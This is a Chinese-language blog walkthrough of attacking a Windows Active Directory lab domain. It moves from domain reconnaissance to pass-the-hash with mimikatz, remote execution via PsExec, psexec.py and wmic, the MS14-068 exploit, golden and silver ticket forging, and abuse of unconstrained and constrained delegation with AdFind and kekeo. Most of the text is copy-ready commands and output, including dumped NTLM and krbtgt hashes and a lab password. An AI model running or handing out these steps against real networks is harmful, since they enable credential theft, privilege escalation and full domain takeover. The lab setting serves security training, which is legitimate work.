域渗透(三)-域内渗透技术

域信息收集

跟域相关的一般会加/domain,不加的就是本地的信息

命令 作用
ipconfig /all 查看本机ip,所在域
route print 打印路由信息
net view 查看局域网内其他主机名
arp -a 查看arp缓存
net start 查看开启了哪些服务
net share 查看开启了哪些共享
net share ipc$ 开启ipc共享
net share c$ 开启c盘共享
net use \192.168.xx.xx\ipc$ “” /user:“” 与192.168.xx.xx建立空连接
net use \192.168.xx.xx\c$ “密码” /user:“用户名” 建立c盘共享
dir \192.168.xx.xx\c$\user 查看192.168.xx.xx c盘user目录下的文件
net config Workstation 查看计算机名、全名、用户名、系统版本、工作站、域、登录域
net user 查看本机用户列表
net user /domain 查看域用户
net localgroup administrators 查看本地管理员组(通常会有域用户)
net view /domain 查看有几个域
net view /domain test 查看test域
net user 用户名 /domain 获取指定域用户的信息。执行net view /domain报6118错误解决,需要开启windows的三个服务:server服务、workstation服务、computer browser服务
net group /domain 查看域里面的工作组,查看把用户分了多少组(只能在域控上操作)
net group 组名 /domain 查看域中某工作组
net time /domain 查看域控时间(主域服务器会同时作为时间服务器)
net group “domain admins” /domain 查看域管理员的名字
net group “domain computers” /domain 查看域中的其他主机名
net group “doamin controllers” /domain 查看域控制器(可能有多台)
net group “Enterprise Admins” /domain 查看域管理员组
whoami /fqdn 可分辨名称
whoami /priv 查看特权
whoami /user 当前用户的用户信息即SID
whoami /all 所有的
netstat -anp tcp 查看tcp端口
tacklist 查看进程列表
taskkill /F /im nginx.exe 根据进程名删除进程
systeminfo 查看系统信息
wmic qfe list all 查看补丁信息
set logonserser 查找域控
set log 同上

cmd的IP扫描

for /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.52.%I | findstr "TTL="

为什么这么做?

这个环境也是更好的去了解kerberos的机制,以前只是很熟悉kerberos的原理,不就是时钟同步、各种TGT和SGT的票据吗

当我们拿到域内的服务器,应该怎么去利用kerberos特性的漏洞,去进一步延伸呢?

哈希传递攻击PTH(Pass The Hash)

windows存储密码时使用的sam,是密码的hash值,我们只要抓取hash就能完成认证,听着有点像彩虹表,既然windows不保存明文密码,保存hash,我们就想办法拿hash

适用于win server 2012 R2及以后

LM Hash,考虑兼容性在server 2008以后的默认禁用,所以这个不是我们探索的重点

NTLM Hash使用较广,这个才是重点

mimikatz(猕猴桃)

这里注意一点,只有本地管理员或者工作组才有权限获取内存里面的hash,普通用户没有权限读取,也就是说,我们是需要提权到本地管理员的

还是假如我们已经拿下了边界服务器win7,在win7上关闭自带防病毒,右键以本地的管理员(一定是本地管理员,要是用域管理员就没意义了)身份运行mimikatz.exe,进入debug模式(当前前提是域管理员曾经登录过这台服务器,如果没有登录,NTML Hash就不会保存在内存里)

privilege::debug

抓取内存中的域管理员明文密码

sekurlsa::logonpasswords

在这里插入图片描述

也能拿到域管理员的NTML Hash,这里需要声明一下,NTML Hash毕竟也是Hash,如果密码原文都一样,那Hash也就一样

9099d68602a60f007c227c4fa95fada6

拿到域控IP

192.168.10.2

提权,使用管理员的NTML Hash,会弹出cmd,这就是模拟administrator用户,使用administrator用户的ntlm的hash进行登录,获取域管理员的权限,这里弹出的cmd表面上看还是本机的administrator,但是可以直接访问域控的共享,但是如果单纯打开本地administrator权限的cmd是访问不了的

sekurlsa::pth /user:administrator /domain:192.168.10.2 /ntlm:9099d68602a60f007c227c4fa95fada6

在这里插入图片描述

pstools

pstools是微软自带的工具,刚刚已经通过mimikatz抓取域管理员密码身份运行

在win7中本地administrator权限运行,注意IP前面是两个反斜线

PsExec.exe \\192.168.10.2 -u Administrator -p p-0p-0p-0 /s cmd

在这里插入图片描述

或者直接执行命令

PsExec.exe \\192.168.10.2 -u Administrator -p p-0p-0p-0 /s cmd /c ipconfig

在这里插入图片描述

psexec.py

kali自带的psexec.py,四个1是随便输,执行python的地方要和域控一个网段,不然啥也不会有的,如果成功了,会返回一个类似meterpreter的命令行

find / -name psexec.py
python3 /usr/local/bin/psexec.py -hashes 1111:9099d68602a60f007c227c4fa95fada6 ./[email protected]

wmic

win7本地administrator执行,node为域控,user是域管理员,password是域管理员密码,执行命令结果输出到域控win2012的c:\ip.txt

wmic /node:"192.168.10.2" /user:"administrator" /password:"p-0p-0p-0" process call create "cmd.exe /c ipconfig > c:\ip.txt"

在这里插入图片描述

票据传递攻击(ms-14-068)

既然是票据,就和kerberos有关了,都知道委托人是通过票据访问其他委托人

补丁为KB3011780,受影响系统:2014年以前

普通用户(普通域用户+密码+SID)可以直接提权到域管理员

工具下载

https://github.com/abatchy17/WindowsExploits/tree/master/MS14-068

假设我们已经获取win7上的普通域账户权限,做一下信息收集

获取域为student.com
ipconfig /all

获取域控服务器的IP192.168.10.2

获取域用户的SID,域用户只有最后几个不一样,比如域成员为:S-1-5-21-1720151474-3232640223-4127377364-1104,域管理员就是S-1-5-21-1720151474-3232640223-4127377364-500
whoami /user

在win7上执行,带上自己的密码

MS14-068.exe -u 普通域用户名@域 -p 普通域用户密码 -s 普通域用户SID -d DC的IP
MS14-068.exe -u [email protected] -p p-0p-0p-0 -s S-1-5-21-1720151474-3232640223-4127377364-1104 -d 192.168.10.2

生成了票据缓存

[email protected]

清空票据

kerberos::list
kerberos::purge

使用mimikatz命令行导入这个票据

kerberos::ptc C:\Users\web\Desktop\WindowsExploit\WindowsExploits-master\MS14-068\[email protected]

win7没成功,可能是这台windows没有这个漏洞

dir \\dc\c$

黄金票据和白银票据

黄金票据

TGT就是黄金票据,有了TGT就能直接跳过和AS的认证,和TGS进行第二步沟通

假设我们已经拿到了域控权限,在域控win2012上信息收集后导出域控票据

mimikatz.exe
privilege::debug
lsadump::dcsync /domain:student.com /user:krbtgt

在这里插入图片描述

域控拿到krbtgt的NTML Hash

Credentials:
  Hash NTLM: 162aa5544faf65195e4165e32ddd0c47

接着就都是在win2008上普通域用户操作了

win2008普通域账户web执行,生成黄金票据

kerberos::golden /user:普通用户 /domain:域 /sid:域的sid /krbtgt:krbtgt的NTML Hash /ticket:test.kirbi

完整命令如下

kerberos::golden /user:web /domain:student.com /sid:S-1-5-21-1720151474-3232640223-4127377364 /krbtgt:162aa5544faf65195e4165e32ddd0c47 /ticket:gold.kirbi

在这里插入图片描述

在win2008上清除票据

kerberos::purge
kerberos::list

在这里插入图片描述

导入刚刚生成的票据

kerberos::ptt gold.kirbi
kerberos::list

在这里插入图片描述

访问域控的共享C盘,前提是域控开启共享C盘

dir \\dc\c$

在这里插入图片描述

白银票据

说白了就是SGT,但是SGT肯定比TGT权限小,因为在SGT的时候,已经明确了访问具体的服务,用法和黄金票据差不多,只是导出的是具体某台服务器的票据

win7访问域控的共享C盘,前提是开启共享C盘,拒绝访问

dir \\server\c$

在这里插入图片描述

对域控信息收集域的sid和域控的NTLM Hash

mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit">log.txt
9099d68602a60f007c227c4fa95fada6
S-1-5-21-1720151474-3232640223-4127377364-500

win7上,普通域用户执行

# 使用方法:
# kerberos::golden /sid:S-1-5-21-1720151474-3232640223-4127377364 /domain:student.com /target:dc.student.com /service:cifs /rc4:5350629888d6773361577476192e77bb /user:win7 /ptt /id:1339

/id:它是在检查时在事件日志中可见的任何随机 ID。可以随机化。
/sid:域的。
/domain:目标域的有效 FQDN
/service:为其生成票证的服务
/rc4:受害机器计算机帐户的 NTLM 哈希(之前找到)
/user:模拟用户名

完整命令如下,这条命令是直接把生成的白银票据导入内存了

kerberos::golden /sid:S-1-5-21-1720151474-3232640223-4127377364 /domain:student.com /target:dc.student.com /service:cifs /rc4:5350629888d6773361577476192e77bb /user:win7 /ptt /id:1339

或者先在win7直接导出白银票据

kerberos::golden /domain:student.com /sid:sid:S-1-5-21-1720151474-3232640223-4127377364 /target:DC.student.com /service:cifs /rc4:5350629888d6773361577476192e77bb /user:test /ticket:silver.kirbi

win7普通域用户再导入

kerberos::ptt C:\Users\win7\Desktop\mimikatz_trunk\x64\silver.kirbi

win7访问域控的共享C盘,前提是开启共享C盘,可以访问

dir \\dc.student.com\c$

在这里插入图片描述

委派与非约束委派

非约束委派

非约束委派需要域管理员登录到域服务器上,所以使用场景较小,但是获取的是TGT哦

域控信任win2008的委派(computer->server->属性->委派)

选第二个信任

在这里插入图片描述

正常web域用户没有委派属性

在这里插入图片描述

域控将web域用户增加委派属性

增加前没有委派属性(删除就是把A换成D)

setspn -A https:/web web

在这里插入图片描述

现在就有委派属性了,域控信任web账户的委派(用户->web->属性->委派)

在这里插入图片描述

win2008上登录本地管理员,无法访问域控的共享

dir \\dc\c$

在这里插入图片描述

win2008域账户web登录,用adfind查看非约束性委派的机器主机和用户

AdFind.exe -b "DC=student,DC=com" -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" dn

win2008域账户web登录,用adfind查看非约束性委派的机器用户

AdFind.exe -b "DC=student,DC=com" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" dn

在这里插入图片描述

win2008本地管理员administrator,使用mimikatz导出当前票据,可以看到administrator、本机server和web账户的票据,并没有我们想要的域控的票据

privilege::debug
sekurlsa::tickets /explort

在这里插入图片描述

在域控上模拟远程登录win2008(域管理员用户名和密码)

net use \\server /user:administrator p-0p-0p-0
dir \\server\c$

在这里插入图片描述

win2008再次导出TGT凭据,可以看到域管理员的的票据

privilege::debug
sekurlsa::tickets /explort

在这里插入图片描述

win2008本地administrator导入TGT票据,导入后就可以在win2008上访问

kerberos::ptt [0;ed5fc][email protected]
dir \\dc\c$

在这里插入图片描述

紧接着,可以再使用dcsync导出域管理员的hash

lsadump::dcsync /domain:student.com /user:Administrator

约束委派

获取的是SGT,权限较小

域控界面->查看->高级功能

在这里插入图片描述

查看server的属性里面,查看userAccountControl是528384,这是非约束性委派的值

在这里插入图片描述

设置server的委派为第三个仅信任+使用任何,也就是约束性委派了

在这里插入图片描述

再添加DC的cifs权限的委派

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

再次查看属性编辑器,userAccountControl为16781312,也就是约束性委派了

在这里插入图片描述

查看属性msDS-AllowedToDelegateTo,可以访问域控的cifs

在这里插入图片描述

web用户相同操作,增加委派

在这里插入图片描述

win2008上登录web账户,adfind查找约束性委派的机器账户和服务账户

# AdFind.exe查询约束委派机器账户
AdFind.exe -b "DC=student,DC=com" -f "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" msds-allowedtodelegateto

# AdFind.exe查询约束委派服务账户
AdFind.exe -b "DC=student,DC=com" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto

在这里插入图片描述

票据

win2008登录本地管理员,执行导出票据,这是mimikatz的另一种用法,相当于是命令行参数了

mimikatz.exe "privilege::debug" "sekurlsa::tickets /export "exit"

找到这个票据

[0;3e7][email protected]

在这里插入图片描述

使用kekeo工具

https://github.com/gentilkiwi/kekeo/releases

依旧是win2008本地administrator生成票据

kekeo.exe "tgs::s4u /tgt:C:\Users\Administrator\Desktop\mimikatz_trunk\x64\[0;3e7][email protected] /user:[email protected] /service:cifs/dc.student.com" "exit"

我们用这个

[email protected]@[email protected]

在这里插入图片描述

导入之前再看一下不能访问DC

dir \\dc\c$

在这里插入图片描述

在这里插入图片描述

win2008普通域用户web使用mimikatz导入票据

kerberos::ptt C:\Users\Administrator\Desktop\kekeo\x64\[email protected]@[email protected]

导入后普通域用户web访问DC

dir \\dc\c$

在这里插入图片描述

HASH

win2008登录本地管理员

mimikatz拿到机器账户的HASH

privilege::debug
sekurlsa::logonpasswords
[00000002] Primary      OM
* Username : Administrator
* Domain   : SERVER
* LM       : 2cbb804e49281a789f267fe10e5c707d
* NTLM     : 5d4c5144cfd85d889282621e75127cb9
* SHA1     : 11a12580d4013937f29940378a7b5c8aaf6d11e7

猜你喜欢

转载自blog.csdn.net/zy15667076526/article/details/130431625